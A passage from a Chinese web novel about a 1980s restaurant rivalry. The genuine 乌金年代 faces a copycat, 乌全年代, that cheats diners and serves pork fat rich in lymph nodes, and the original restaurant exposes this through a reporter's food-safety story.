更何况,乌金年代已经被逼走了,他们在饭店原址上开店,谁能想到饭店背后的管理者已经偷天换日了呢? 贾忠实和生活服务公司的设想很美好,但现实的发展和他们的想象完全不同。 首先,乌金年代搬是搬走了,可他们转头就在隔壁开起了新店。 新店装修速度之快,简直像在一夜之间就拔地而起,仿佛是连夜将老店平移了过去。 生活服务公司这边就尴尬了。 乌金年代在搬走前,将店内能搬走的都通通搬走,搬不走的就地拆掉。 墙上小桥流水和大漠孤烟的水墨画通 通用白漆覆盖,木格屏风搬走拆掉,连原本打通的几堵墙都重新砌了回去,彻底恢复了原来办公室的布局和面貌。 生活服务公司的职工在收房时,看着眼前陌生又熟悉的房子,人都傻了。 这、这、这……这还是原来的乌金年代吗? 一看情况不对,收房的人急忙去找领导汇报情况,办公室主任急匆匆地下楼赶了过来。 “谁让你们把房子弄成这样的?!赶紧给我把东西都安回去,不然就不退押金了啊!” 负责留下退房的是纪平波,一张温和的脸,说话也是温吞的,却说出令人心寒的内容。 “领导,您别拿退押金来吓唬人,这年头谁也不是吓大的,你说是吧。” 他慢条斯理地拿出一纸合同,在办公室主任面前晃了晃。 “合同上说得清清楚楚,租赁期结束时我们要将房子恢复出租时的原状——您看,现在够不够原状?连缺腿的桌椅都放回原处了,还有那几个废纸篓子。不过里面的垃圾就没办法了,总不能把这也恢复了吧?但是,您要是有要求的话,我们也尽力满足,您看呢?” 办公室主任有口难言 这小子说的却是没错,合同上确实是这么写的,当时他还挺得意,别管对方要怎么糟蹋房子,最后都得恢复原状。 可问题是,现在他们单位要的不是一个被墙隔出数间小办公室的房子啊! 办公室主任是知道总经理和贾忠实的打算的,他们收回房子是要开一家和乌金年代一模一样的饭店。但现在房子恢复成了出租时的原状,这还怎么开饭店? 光是拆掉那几堵墙就费事儿,更别提后续一系列的装修。 办公室主任耍赖道:“我不管,总之你得把房子给我恢复成原来饭店的样子,要不然押金你就别想拿回去了!” 纪平波一点都不生气,看了办公室主任一眼,说:“这是您单位的意思吧?好,我们知道了,再见。” 见他说走就要走,办公室主任傻眼了,急忙去拦:“哎哎哎,你走什么啊,还没说答不答应呢!” 纪平波好脾气地说:“该说的都说了,其他没什么好说的。您单位不退押金就不退吧。” 他甩了甩手上的合同,语气平和地说:“既然您单位不遵守合同,那咱们就法院见吧。” 办公室主任傻眼了。 啊不是,什么叫法院见? 难道不是他提出要求,对方表示为难,反复拉扯后,最后为了押金,不得不向他妥协吗? 这点小事怎么就至于要闹到法院呢?! 纪平波走得干脆,而几天过后,生活服务公司果然收到了一张来自法院的传票。 作为矿务局首个被起诉的国有企业,生活服务公司的总经理被上级管理单位叫去询问,回来后就蔫蔫地让办公室主任赶紧把押金还给乌金年代。 不过,虽然遭遇了挫折,但在贾忠实的鼓励下,总经理又重整旗鼓,气势汹汹地命令工人连夜赶工,将毛坯似的房子重新装修成饭店模样。 期间由于搞不清一些装修细节,还闹出了笑话,花了冤枉钱,但总的来说,还是成功盖起了第二家乌金年代 ——虽然和隔壁正版相比,总有种东施效颦的别扭感…… 然而,就在他们刚把刻着“乌金年代”这四个大字的牌匾挂到门头,就又收到了一张法院传票,这次是什么“商标权纠纷”。 生活服务公司的总经理和贾忠实关起门来开会,在艰难研究了几天商标法后,并在总经理再次被上级亲切询问后,被迫摘下了写着“乌金年代”四个大字的牌匾。 接二连三的受挫,让生活服务公司从上到下都大感丢脸。 泥人也有三分火气,他们怎么能这么欺负人! 总经理一拍板,不是不能叫“乌金年代”吗?那行,他们饭店就叫“乌全年代”! 期间还有个小插曲,贾忠实提议改名为“鸟金年代”,因为太难听,被全体否了。 于是,“乌全年代”的牌匾就挂在了饭店门头上。 做牌匾的木匠为了省事儿,直接把金字下面的两撇给铲掉了,在凹陷处补了些木屑,用胶黏合后再刷上漆,看着仿佛是那么回事儿。 光是挂了“乌全年代”的招牌来混淆还不够,贾忠实派人在店门口揽客,见到来吃饭的人就拉到店里,争取让乌金年代一个客人也没有。 为此,贾忠实还特意让曾经在乌金年代工作过的服务在门口做迎宾,把面熟的客人都抢先拉进店。 于是,就有了开头刘爱民差点被服务员强迫拉进店的事。 听完纪平波的话,赵计划、刘爱民夫妻半天没说出话。 纪平波说:“总之,事情就是这样。我们老板也在找律师咨询关于商标混淆的问题,但似乎现在国内的法律还没有细化到这个程度,也只能先放他们一马。” 赵计划憋了半天,终于憋出一句话:“这帮人可真够不要脸的!” 刘爱民附和道:“对,这种不道德的饭店,什么人会敢去吃饭!” 刘爱民的媳妇忽然想起,之前差点把刘爱民扯到假乌金年代的服务员有些面熟,似乎之前办婚宴的时候见过。 她把这个疑问说出了口,纪平波脸上露出无奈神色。 “说起来也尴尬,隔壁说什么可以让服务员转正,帮他们转正成全民工编制,有几个服务员听着心动,就跑了过去。” 当初耿副矿长也使过这一招,但当时煤矿人家的人员构成相对比较简单,而且都是工作了一段时间的老员工,对店里很有感情,而且对编制没有那么深的执念,这才没被人挖走。 然而,随着饭店规模越来越大,在招人时没有办法进行精细的挑选,只能保证店员的服务态度和健康情况,这也就导致现在店里的服务员鱼龙混杂。 当饭店退租搬家时,店里人心浮动,再加上贾忠实让人散播谣言,说乌金年代要倒闭了,哄了不少意志不坚定、没有主见的小年轻跑到他们店里。 刘爱民摇摇头说:“这种员工,不要也罢。” 赵计划说话直爽:“他们将来肯定要后悔!” 纪平波遗憾表示:“个人有个人的选择,我们对此表示尊重,希望他们以后一切都好。” 赵计划指着他笑着说:“瞧瞧,这家伙现在还和我们打起官腔了!” 几人笑成一团,之前有些凝滞的气氛随之一松。 纪平波讨饶:“是是是,都是我的错,我让费师傅给你做道小灶怎么样?” 赵计划喜上眉梢,说:“我要铁锅蛋!” 刘爱民也忙道:“别光给他开小灶,我也要!特别是我媳妇,她吃高兴了我才高兴! ” 刘爱民的媳妇被说得一羞,佯怒锤了他几下,刘爱民夸张躲闪,更像是在打情骂俏。 纪平波笑着说:“放心吧,一个都不会忘的!” 几人拿起菜单点菜,纪平波带着记满了菜名的单子要走时,刘爱民突然开口道: “别担心,没事的,我们这些老顾客一直站你们这边。” 纪平波眉目舒展,笑道:“我不担心,要担心的是他们才对。” 第142章 第142章真假美猴王(补完)…… 赵计划点的铁锅蛋很快就被送上了桌。 随之一起上桌的,是一个口大底小的厚底小铁锅,烧得滚烫,水滴上去就是滋啦一股白烟。 头一次见厨具被端上桌,赵计划稀奇极了,拉住送菜的服务员不让走,连声地问这是什么。 服务员是新招聘的小姑娘,长了张圆团团的脸,笑起来眼睛弯弯的,可亲又可爱。 “这个就是铁锅蛋呀。” 赵计划说:“我知道这是铁锅蛋,但为啥要把锅也端上来?” 服务员这才明白他在问什么,有些磕磕巴巴地解释:“呃,呃,是怕菜凉了,有锅在,菜是热的……” 赵计划追问:“刚做好的菜不都是热的嘛,为什么不能拿盘子端上来?” 服务员呃了半天,说不出个一二三,急得脸都涨红了。 乌金年代里有经验的服务员被隔壁撬走了好几个,为了填补空缺,紧急又招聘了一批服务员。 由于培训时间短,这批新服务员还不太熟练,一些简单的点菜、上菜的工作还能完成,但要是被客人问起菜的典故和做法时,就有些磕巴了。 看着小姑娘卡了壳,刘爱民媳妇解围道: “咱们先吃吧,甭管是拿什么盛菜都没影响,菜好吃就行,再说现在天气也冷,热锅盛菜的话,还能多吃会儿热菜呢。” 服务员被提醒了,连忙说:“费师傅说了,铁锅蛋怕冷,一凉就缩塌变硬,只有热乎乎的最好吃。” 赵计划听得半懂不懂的,索性招呼大伙儿开动。 “来来来,服务员都说了要趁热吃,赶紧的,都吃都吃!” 铁锅中的鸡蛋像是一块厚实的蛋饼,焦黄而膨胀,表面微凸,在锅中余温的加热中,发出滋滋响的煎烤声。 用勺子轻轻舀起一块铁锅蛋,入口后软嫩鲜香,像在吃蛋羹,又比蛋羹多了一分嚼劲,仿佛是鸡蛋做成的焦糖布丁。 费立广在蛋液中加入了肉沫和豌豆、冬菇等食材,使做好的铁锅蛋吃起来口感丰富,每一口都有意外的惊喜,或是肉馅的香滑,或是豌豆的清香,又或是其他食材的特殊滋味。 三人吃得开怀,齐齐下筷,不多时就将满满一锅的铁锅蛋吃的干干净净,只留下锅身及锅底的一层鸡蛋制成的“碗壳”。 这一层鸡蛋壳也没有浪费,轻轻揭下来,三个人分一分,吃起来酥脆有嚼劲。 赵计划满足地放下勺子,说:“还得是乌金年代,费师傅的做菜手艺就是好。” 刘爱民看看左右,见这个点店里已经是坐得七七八八,不过还是不像之前那样人满为患。 “光是会做菜也不行,你看,店里人比之前少多了,到底被隔壁饭店抢走了客人啊。” 赵计划撇嘴:“能被抢走的人都属于有眼无珠,连乌金和乌全都分不清,才不稀罕他们。” 刘爱民说:“贺老板可不会这么想,做生意的,哪有嫌客人多的。要是一直被隔壁饭店抢走客人,那可就……” 他摇摇头,没说下去。 刘爱民媳妇却说:“不会一直被抢走的。” 面对刘爱民惊讶的目光,她说:“客人也不傻,就算眼睛分不出乌金和乌全,可哪家店好吃哪家店不好吃,舌头总会知道的。” 赵计划一拍手:“还是弟妹有眼光!老刘,以后你们家的事儿得让弟妹做主!” 刘爱民说:“还用以后,现在我们家的事儿就是我媳妇说了算。你说是吧,媳妇!” 小两口相视一笑,赵计划被秀了一脸恩爱,即使是资深光棍也受不了。 “这天没法聊了……服务员,服务员!下一道菜好了没?我还是吃我的菜吧!” 这边的乌金年代,店里客人们吃得不亦乐乎,其乐融融;而另一边的乌全年代,此时却纷争不断。 “你端上来的这是什么玩意?我点的是香辣羊蹄,你端上来的是羊蹄吗?” 服务员磨磨蹭蹭,踢踏着走过来,随意往盘子里扫了一眼,就说:“对啊,是羊蹄,怎么了?” 中年男人有些生气:“你们家羊蹄光长骨头不长肉啊?!” 服务员不耐烦地说:“我们家的羊蹄就是这样的,你爱吃就吃,不吃就拉倒,别没事儿找事儿。” 中年男人是来请客的,没想到当着一桌客人的面,服务员说话居然这么不给面子,一时间脸上过不去,气得说话都磕巴了。 “你、你、你怎么能这么说话?!你们老板呢?把贺明军和费立广给我叫出来!” 听他提到这两个名字,服务员表情有些不自然,心虚地说: “你说叫人就叫人,你当自己老几啊?来吃饭的还真把自己当大爷了,我才不惯着你。” 说话间,他竟然伸手把桌上的盘子收走了,转身就要走。 没得到说法,反而服务员端着菜跑了,中年男人火气上头,追了过去。 “哎哎哎!我跟你说话呢!别走!” 他一路追着服务员来到后厨,发黄的白布门帘一掀,里面的人都看过来。 “干嘛的?谁让你来厨房?” 中年男人一愣,怎么里面的厨子他一个也没见过啊? 他是乌金年代的常客,经常带着人来这里吃饭,次数多了,和店里的服务员和厨师都混了个面熟。 有时候费立广闲着,还会特意从后厨过来和他碰一杯,给足了面子。 而现在,除了迎宾的服务员还是熟悉的面孔,其他人都是从来没见过的新面孔,饭店的布局和装饰似乎也变了。 中年男人心中疑窦重生,没回答对方的问题,反而问道: “费立广呢?” 厨师叼着烟,烟灰簌簌地四处飘落,含糊不清地说:“什么费什么广,没听说过,你找谁?” 服务员抢先说:“他是来找事儿的!说我们店的羊蹄有问题,喏,你看,盘子我都端回来了。” 厨师瞟了一眼羊蹄,又瞟了一眼中年男人,赶苍蝇似的挥挥手。 “走吧走吧,真拿自己当什么大爷了,妈的,都是之前那帮人惯的。” 在陌生的环境中,面对人数众多的陌生人 ,中年男人的火气降了些,慢一拍地意识到不对劲。 他看了一眼厨师和服务员,又想到明显和之前不太一样的店内布局,什么也没说,转身离开,回到了桌上。 客人们坐立不安,见他回来了,关切地问道:“怎么了?出什么事儿了?” 中年男人摇摇头:“对不住,给大伙儿添堵了,先出来吧,我再慢慢解释。” 他带着客人们离开,要出饭店时,被另一个眼生的服务员拦住了。 “哎,你还没结账呢!” 中年男人憋着气说:“菜都没吃一口,原模原样端回后厨了,结什么账!” 服务员理直气壮地说:“你用了我们店的碗筷,喝了我们店的茶水,还占了我们店桌子那么长时间,这些都要付钱啊!” 中年男人又想发火,想到身后的客人们,又硬生生忍了下去。 “行!我付钱!你说要多少!” 服务员说:“也不多,一个人收一块钱,你就给我一张大团结吧!” 这简直是明抢,中年男人都被气笑了。 “十块钱还不多?老子不付,有本事你就告公安吧!” 服务员不依不饶:“哎,你这个人怎么这样啊?还讲不讲道理了?” 中年男人说:“哼,对你们这种黑店还有什么道理可讲!” 正在双方拉扯推搡时,迎宾的服务员正带着一群新客人进店,见状急忙上前拉架。 “好好的,怎么就吵起来了?” 中年男人怒道:“你说为什么?我一口菜没吃,光喝了你们店里几杯茶水,就要收我十块钱!” 他还冲着新进店的这波客人说:“你们可千万别在这儿吃饭,这哪是饭店,明明是土匪窝,坐一坐就要收十块钱,比抢银行的都狠呐!” 新客人们狐疑地交头接耳起来,不多时,竟然真的有人转身离店。 迎宾服务员劝完这个又劝那个,眼见好不容易招揽的新客人们接二连三地要离开,连忙高声道: “他开玩笑的,不是真要收钱!” 拦路的服务员还想说什么,被他摁住了。 “玩笑,都是玩笑。您有事就先走吧,不收钱,真的不收钱。” 中年男人哼了一声,见好就收,昂首挺胸地带着客人们离开了这家黑店。 拦路服务员不服气,小声嘀咕:“谁让你充大方的,贾经理不是说了吗,进店就要消费,不花钱别想出门,你怎么就让他给走了?” 迎宾服务员没说话,一脸的晦气。 刚刚他好不容易才拉进店里的客人都跑了,现在还得重新再去招揽客人,平白增加工作量 站在门口的冷风中,他忍不住陷入自我怀疑,当初他来乌全年代真的是正确的选择吗? 新上任的贾经理喊出“一切向钱看”的口号,要求饭店的经营必须要以利益为先。 他先是在采购上下功夫,买回来的菜肉都是市场上最便宜的处理货。 蔬菜烂得滴汤,连猪都不吃,随便洗一洗切一切,在锅里炒熟后就装盘上桌。 肉类就更别说了,也不知贾经理从哪儿买回来的米猪肉,上面还沾着泥土,臭气熏天,光是看看都受不了,更别提要吃进嘴里。 以前乌金年代是包一日三餐的,服务员们也乐意在店里吃饭,吃不完的还能带回家。 可现在,连厨师都不吃自己做的菜,服务员们当然也不会吃,宁愿每天啃一啃自己带来的干馒头,也不会动一筷子店里的菜 ——当然,在贾经理的管理下,现在的乌全年代也不包三餐。 要不是为了当全民工,迎宾服务员才不乐意留在这里工作。 和之前相比,现在店里气氛一点也不友好,客人和服务员厨师之间像是仇人,哪天要是不吵上个三五场,这一天就算是非常顺利地度过了。 当初在乌金年代时,大家却都处成了朋友,费立广一高兴就要给客人送菜,贺老板也不管,不仅随他去送,还要求服务员在结账时主动给客人抹零。 当时他还嘀咕,这也太大方了吧,手这么松,饭店还能挣到钱吗? 可就是这种丝毫不斤斤计较的经营态度,反而让乌金年代的生意更加的蒸蒸日上。 新顾客变成老顾客,老顾客带来新顾客,在这样客带客的良性循环中,客人越来越多,回头客也越来越多。 费立广一看来的都是熟人,大手一挥,送菜,必须送菜! 被送了菜的客人大感面上有光,需要外食请客时,第一且唯一的选择就是乌金年代。 而如今的乌全年代,在贾经理“一切向钱看”的要求之下,别说是送菜了,就算是一分一毫的抹零都不成。 反向抹零倒是可以,但贾经理乐意,客人可不乐意啊! 有的客人被骗进店里,吃饭时嘀咕怎么菜突然变难吃,吃完了嘀咕怎么今天没送菜,结账时更要嘀咕—— 十二块五毛七分的账单,怎么今天不仅不抹零,还要收我十二块六毛啊? 客人一问,服务员理直气壮地说:“店里没零钱了,找不开,再说了,就三分钱有必要吗?” 客人听了就生气:“有没有必要我说了算,你说了不算。开饭店怎么能不准备零钱呢?” 服务员耍赖:“我不管,反正就是没有,找不开。” 客人几个人凑了凑,硬是凑出了七分钱,服务员不情不愿地收了钱,嘟囔着什么“抠门”“小气”之类的话, 有的人多一事不如少一事,就当没听到;有的人火气旺,当场吹胡子瞪眼睛:“你说什么?!” 双方你一言我一语,急眼了当场打起来也是有的。 诸如此类的纷争在乌全年代经常发生,贾经理也不约束底下员工,每天神出鬼没的,不知在忙些什么。 生活服务公司的人虽然觉得不对,但碍于总经理的面子,选择了沉默。 总经理本人很少来店里,每天都有专人做好了饭送到楼上。 他吃着美味的小灶,看着楼下进进出出的客人,颇有一种指点江山的豪气。 当看到中年男人一行人气冲冲地从店里出来,总经理也没意识到什么不对,还沉浸在贾忠实描述的光辉前景中。 中年男人带着客人离开乌全年代,心里憋着火,面上还要挤出笑,假装刚才发生的都是小事。 他今天是来摆谢酒的,客人给他帮了大忙,他是诚心诚意想要请对方吃饭,结果没想到遇到这事。 然而,现在正是饭点,大家的肚子都还饿着。 他本人因为一肚子气,忘了饥饿这回事,可也不能把客人撂下不管。 中年男人的脚下慢了一拍,他现在要带客人去哪儿吃饭呢…… 这时,他眼角余光突然瞥到隔壁的乌金年代。 隔着玻璃,可以看到店内客人不少,服务员端着菜穿行其中,人人脸上都带着笑,气氛融洽温暖。 中年男人迟疑了。 要去这家店吗? 可两家店的装修相似,会不会是一丘之貉? 按理说,乌金年代不该是这种服务态度啊……难道是卖店了? 费立广,贺明军,纪平波……他们都去哪儿了啊? 正纠结着,左边饭店的大门打开,三个年轻人走了出来。 他们脸上带笑,脚步轻快,因为刚刚吃得好,脸蛋红扑扑的,在冬日寒风中格外显眼。 “铁锅蛋好吃,费师傅的徒弟手艺真不赖,我下次还要点!” “贺老板说了,他找人定做了一批铜火锅,过几天就送到,大冬天的正好涮火锅,到时候咱们多叫几个人,一起来吃火锅。” “平波刚刚告诉我,周五要现杀一头羊,让我们早点来,吃羊杂喝羊汤。” 听到三个年轻人的话,中年男人眼睛顿时一亮,三步两步走上前,拦住了他们。 “我刚刚听你们提到了费师傅贺老板,你们说的是不是费立广和贺明军啊?” 其中一个高个子的小年轻大大咧咧地说:“没错,就是他们,你有啥事儿啊 ?” 中年男人激动地追问道:“他们现在在哪儿?!” 高个子指了指身后的饭店,不解道:“不就在店里吗?不然还能在哪儿?” 中年男人顺着他手指的方向看去,犹疑地说:“可我刚刚就是从饭店出来……” 另一个稍微矮些的小年轻笑着说:“您大概是走错了,左边的才是乌金年代,右边的啊,是六耳猕猴,乌全年代。” 乌全年代??? 中年男人抬起头来,迎着阳光,眯着眼睛,来回打量左右两块极为相似的牌匾。 乌金年代…… 乌全年代…… 他恍然大悟,猛地以拳击掌。 “我知道了,原来是六耳猕猴冒充了孙悟空,把花果山给占了!” 中年男人热切地回身招呼客人:“大伙儿跟我来,刚刚咱们走错饭店了,左边的才是乌金年代!” 迎宾服务员出门时,正好看到中年男人一行人走进了隔壁饭店。 而与此同时,身后的店内又传来吵闹声,继中年男人之后,又有一桌客人愤而离席,走出了饭店,直奔隔壁的乌金年代而去。 迎宾服务员连吆喝的力气都快没了。 这都是什么“前方吃紧,后方紧吃”的惨剧啊! 合着他在外面顶着寒风卖力招揽客人,而店里却将他好不容易拉进去的客人都赶了出来。 有的客人脾气火爆,临走还冲他啐了一口。 “呸!什么破烂饭店,狗都不吃!” 迎宾服务员现在是真后悔了。 为了一个虚无缥缈的全民工编制,真的值得他放弃在乌金年代的大好工作吗? 唉…… 这一出真假美猴王的商战,引来不少人的关注。 毕竟这个年代不像后世,大街上满是各式各样的招牌和广告,看得人眼花缭乱。 即使在信息爆炸的后世,瑞幸和库迪打擂台也能让人津津乐道,围观这场不见硝烟的虚空肉搏战。 头一次见识这种简单直白的商战,面对两家有着相似装修和名字的饭店,矿务局的群众们在枯燥单调的生活中找到了新乐子。 “快看,这群人进右边的饭店了!” “哎,哎?怎么又出来了?嘿!转头进左边的店了!” “又来人了,直接就进左边的店——这肯定是事先研究过的,知道哪家才是真正的乌金年代。” “哎哎哎!又打起来了!啧啧啧,这六耳猕猴怎么成天就和客人打架啊?” “来了来了,公安来劝架了!” 看热闹不嫌事大,冬天的寒风也抵挡不住一颗火热的八卦心。 在这场乌金年代和乌全年代的交战中,越来越多的人能分辨出六耳猕猴,选择了真正的美猴王。 有的人比较损,说乌全年代为什么不如乌金年代呢?是因为下面没了两点,是没了卵蛋的太监,自然比不过人家乌金年代真男人。 有人听了就反驳:“你一看就不懂,人家乌金年代的大老板可是个女的,什么真男人,分明是真女人!巾帼不让须眉的真娘们!” 眼见生意越来越惨淡,生活服务公司也急了。 毕竟只要开门做生意,每天一睁眼就是流水似的钱要花出去。 虽然房子是自家的,不需要支付房租,但员工的工资总要付吧?还有煤钱、菜钱、水电钱……林林总总,到处都要花钱。 生活服务公司的总经理坐不住了,他是本地人,自从消息传出去后,被人或明或暗地调侃了好几回,嘲笑他们抢生意也抢不对,还把自己名声都弄得臭大街了。 总经理逼着贾忠实想办法,毕竟饭店是贾忠实负责管理,他必须得承担责任。 甩锅推责任是国企内最常见的事儿,贾忠实虽然是体制外的人,但这家伙滑头得很,不肯老老实实地背锅,承认这是他的问题。 贾忠实一会儿说是总经理找来的厨师手艺不行,留不住客人;一会儿又说是办公室主任塞的那几个服务员态度太差,把客人都打跑了。 总之,这是生活服务公司领导班子的集体决策失误,不关他的事。 总经理心力交瘁,像是湿手抓泥鳅,滑溜溜的怎么也抓不住,反而弄了自己一手粘液。 最后没办法,他只得放弃让贾忠实承担责任的想法,退而求其次,让他赶紧想办法扭转饭店的生意和名声,总经理不想再被人看笑话了。 贾忠实不知从哪儿弄来了一批白花花的肥肉,让厨师在店外支了个烤肉的摊子,玩了出露天烧烤。 炭火的热力足,肥肉被烤得滋啦作响,油脂滴下去,散发出浓烈的肉香,一旁还站了个服务员,拿着扇子使劲扇风,将香味扩散出去。 烤肉的香味像是一个个的小勾子,将四面八方的人引诱过来。 见围过来的人越来越多,服务员不失时机地高声道: “进店吃饭,免费送烤肉!” 第143章 第143章食品安全与淋巴肉 靠着一招“吃饭送烤肉”,乌全年代从颓势中缓过一口气。 在八十年代时,肉类供应有限,需要凭票购买,每人每月不过八两肉票,那点肉塞牙缝都不够。 对于经历过这个年代的大部分人来说,最深刻的记忆之一就是对肉的渴求。 贾忠实不知从哪儿搞来的肥肉,形如花冠,一整块脂肪,没有一丝的瘦肉。放在铁板上煎烤时,滋滋冒出黄色的油脂,散发出浓郁到有些让人眩晕的香气。 对于肚子里缺油水的人来说,这味道有着无与伦比的诱惑力,让人难以抵抗。 虽然对有钱下馆子的人来说,并不是只有逢年过节的时候才舍得吃肉,但免费的肉不吃白不吃。 何况乌全年代现在加强了对服务员的管理,至少不会出现打骂顾客的情况,尽管服务员的态度还是不怎么地,但已经是客人能够忍受的范围了。 于是,在香喷喷烤肉的诱惑下,一些对食物味道不太挑剔的人选择了去乌全年代吃饭。 眼看客人被烤肥肉的香气拐走,纪平波不由得有些着急。 “明军,现在要怎么办?不然我们店也在门口摆个摊吧?” 贺明军问他:“摆什么摊?也要吃饭送肉吗?那不成我们抄他们了吗?” 纪平波说:“总不能让隔壁把客人都抢走吧。” 费立广路过,插了一句:“你当那是什么好肉吗?狗都不吃的东西,他们拿来让人吃,丧良心了。” 见是费老头,贺明军说:“哟,看来您这是知道点什么啊,说说呗。” 费立广昂起下巴:“我有什么不知道的,可我偏不告诉你。” 他等着贺明军求他,没想到贺明军说:“不告诉就算了。” 费立广急了:“哎,怎么能算了呢?你现在也是当老板的,你怎么能问都不问?” 贺明军一乐:“我不强人所难。再说了,就算你不说,我还能回去问我妹呢,她知道的不比你少。” 费立广语塞。 这话说的,好像是这么个情况…… 说起见识来,贺明珠这个十几岁的小姑娘比他这个老头子知道得还多。 在她面前,费立广还真没法充大爷。 “得了得了,瞧你那不经逗的模样,多大人了,还告你妹……既然你想知道,那我就告诉你吧。” 贺明军插了一句:“嘿,我没说想知道……” 费立广假装没听到,自顾自地说:“隔壁烤的肉可不是什么好东西,别看肥嘟嘟的,里面都是不能吃的肉疙瘩,吃多了要得病,屠宰场卖肉时都要把这块肥肉剔下来。也就是一些缺德卖包子的,为了省钱,才用这种肉剁馅儿。” 费立广所说的肉疙瘩指的是淋巴结,也就是动物的免疫器官,用于过滤病毒、细菌等病原体,会积聚重金属和寄生虫。 特别需要注意的是,猪肉淋巴结内还可能存在猪肉绦虫——这种绦虫是可以在人体内寄生的。 虽然淋巴结遍布全身,最好的屠夫也无法将猪肉上的全部淋巴结都一一剔除,但对于淋巴结分布特别密集的位置,一般是去除后销毁处理。 后世的一些商贩为了降低成本,偷偷购买淋巴肉,做成包子、饺子、馅饼之类的食物出售。 也就是现在人们对淋巴肉危害性的认识不足,才会出现乌全年代这种明目张胆将富含淋巴结的猪肥肉进行售卖的情况。 听到费立广的话,贺明军若有所思。 纪平波好奇地问:“这块肉叫什么名字啊?是在猪身上的哪个位置?” 费立广比划了一下,说:“这叫猪肠油,又叫猪水油、裙边油,连着猪大肠和猪小肠。” 纪平波恍然:“我想起来了,之前我在后厨帮忙,有时候送来的是一整挂的猪内脏,猪肠子外就裹着一层肥油。当时这层肥油都被剔下来扔了,我还觉得挺可惜的。” 费立广说:“贺老板地道,没留着猪肠油做菜。外面不少饭店就不舍得丢,要么用猪肠油来炼油,要么就剁碎了掺进馅儿里,做成丸子或包子。有的人还觉得吃起来有嚼劲,实际嚼的都是那些没剁碎的肉疙瘩。” 纪平波作势要吐:“费师傅,您别说了,再说我以后都不想在外面买包子吃了。” 费立广奸笑:“这就受不了了?你要是知道有人专门从疫区把埋好的死猪挖出来卖,是不是以后都不吃肉了 ?那猪嘴里直往外冒蛆,一团一团的,人家照样卖。” 纪平波这下是真面如土色了。 “费师傅,求你别再说了,太恶心了……我回去就让我妈垒个鸡窝,以后只吃自家养的鸡肉。” 贺明军拍拍他的肩膀:“费师傅逗你呢,别的不说,至少咱们店里的肉是没问题的。” 纪平波喝了口水压压惊,把话题扯回正轨。 “咱们总不能看着隔壁那猪肠油抢客人吧,是不得做点什么?” 费立广哼哼:“管他们呢,乐意吃那肉疙瘩就吃去呗,良言难劝该死的鬼,爱吃就多吃点呗。” 纪平波无奈地笑:“费师傅,客人也是被骗了,他们也不是自愿吃肉疙瘩的。” 费立广还想说些什么,贺明军开口说道:“平波说的有道理,不管是于公还是于私,咱们都不能眼睁睁看着隔壁用有问题的坏肉糟践人。” 见贺明军和纪平波站一条阵线了,费立广撇撇嘴。 “那你说要怎么办,总不能我们拿个大喇叭到门口喊‘这肉有毒不能吃’吧?谁信你啊?” 贺明军得意地笑了:“谁说我没有办法?我妹早就想出来了。” 听到贺明珠有主意,费立广不由得认真了些,连声追问: “贺老板有什么办法?” 贺明军冲他一乐:“不告诉你。” 费立广被噎得一口气差点没上来。 “你这人!你你你,你小心眼!” 贺明军逗完乐子就走,徒留费立广在后面跳脚,临了扔下一句:“别急了,回头有您发挥的时候!” 费立广转头,狐疑地问纪平波:“他什么意思?什么叫有我发挥的时候?这话听着像好话吗?” 纪平波抿着嘴笑,安慰道:“放心吧费师傅,明军不会拿正事开玩笑的。” 费立广嘀咕:“这小子现在越来越心黑了,说不定呐……” 不待费立广琢磨出个一二三,隔天,贺明军不知从哪儿弄来了一头整猪,连带着一名拿着照相机的记者,一齐打包送到了乌金年代。 费立广震惊了。 “这、这、这是要做什么?” 纪平波转达贺明军的话:“记者同志是来采访关于淋巴肉的危害性的,您待会儿就把这头猪拆了,把猪身上的淋巴肉都切出来,告诉大家要怎么分辨淋巴肉就行了。” 费立广指着自己:“我?采访?上报纸?” 纪平波肯定道:“明军是这么说的。” 费立广紧张不已。 怎么突然就要采访他呢? 他可什么准备没做,没刮胡子没理发,就这么要上报纸? 见费立广一副紧张到坐立不安的模样,纪平波好心补充了句:“费师傅,您要是有什么困难的话,让别人来也行,不是非得让您亲自来。” 一听这话,费立广奇异地镇定下来。 “不就是采访吗,有什么好紧张的。我来,必须我来。” 他气度俨然地转身走进后厨,指挥学徒去把墙上挂着的那把剔骨尖刀好好磨一磨。 纪平波竭力忍住笑,没提醒费立广,这老头嘴上说着“不紧张”,实际走路都开始顺拐了。 来采访的记者年纪不大,是王东文的同事,刚来报社还没站稳脚跟,正愁选题。 王东文给小记者指了个食品安全的选题方向,并联系了乌金年代,让他去饭店取材。 对于才吃饱饭没多久的国人来说,食品安全还是一个有些陌生的词汇。 但随着改革开放后市场浪潮的迭起,食品市场日益繁荣,各式各样的加工食物摆上了人们的餐桌,从有啥吃啥,到吃啥有啥。 渐渐地,人们的思想从吃饱转向了吃好,食品安全也开始被提及,出现在公众的视野中。 说起食品安全,除了食物制作过程中的干净和卫生,食物本身的品质也是重中之重。 就比如说,大家都吃过猪肉,可又有几个人知道猪肉中含有不宜食用的淋巴结。 后世食品安全是老生常谈,而在当下,这还是一个相当新鲜的选题。 小记者意识到这个选题的潜力,立刻就联系了乌金年代,打算写一篇关于食品安全的报道。 乌金年代的门口,一条长案摆在门前空地,上面放了一头杀好的整猪,放了血褪了毛,其余部分完好无损。 小记者抱着照相机,站定了位置,对镜头前的人说:“费师傅,您可以开始了。” 费立广穿了件雪白崭新的工作服,戴着一顶同样雪白的厨师帽,清了清嗓子,故作姿态地说: “好,那我就开始了,你要看仔细啊——” 费立广左手摁着猪肉,右手操起尖刀,熟稔划开肉皮,像是热刀切黄油,手腕轻巧转动,便从猪脖剜下一块血糊糊的肉来。 “这是血脖,又叫槽头肉,在杀猪时下刀放血的位置,这块肉里有猪的甲状腺,还有淋巴结,吃了对身体有害,最好不要吃。” 小记者问道:“为什么甲状腺和淋巴结不能吃呢?” 费立广一派严肃地说:“里面有毒嘛,有那什么病原体,还有什么寄生虫,总之吃了对人身体不好,能不吃就尽量不要吃。” 当费立广在接受小记者采访时,陆陆续续的,有路过的人凑过来看热闹。 听到费立广的话,围观群众中有人就说:“槽头肉怎么就不能吃了?我家做粉蒸肉时都是特地买了头刀血脖,做出来的肉有肥有瘦,嚼起来又弹又脆,好吃得很啊!” 不对着镜头和记者时,费立广说话就随意多了。 “好吃啥,那肉里咯嘣脆的东西就是淋巴结,一串小疙瘩,嚼吧嚼吧,把猪身上的细菌和病毒都吃进肚了。” 有人听得起了一身鸡皮疙瘩,怀疑地问:“师傅,没这么严重吧?” 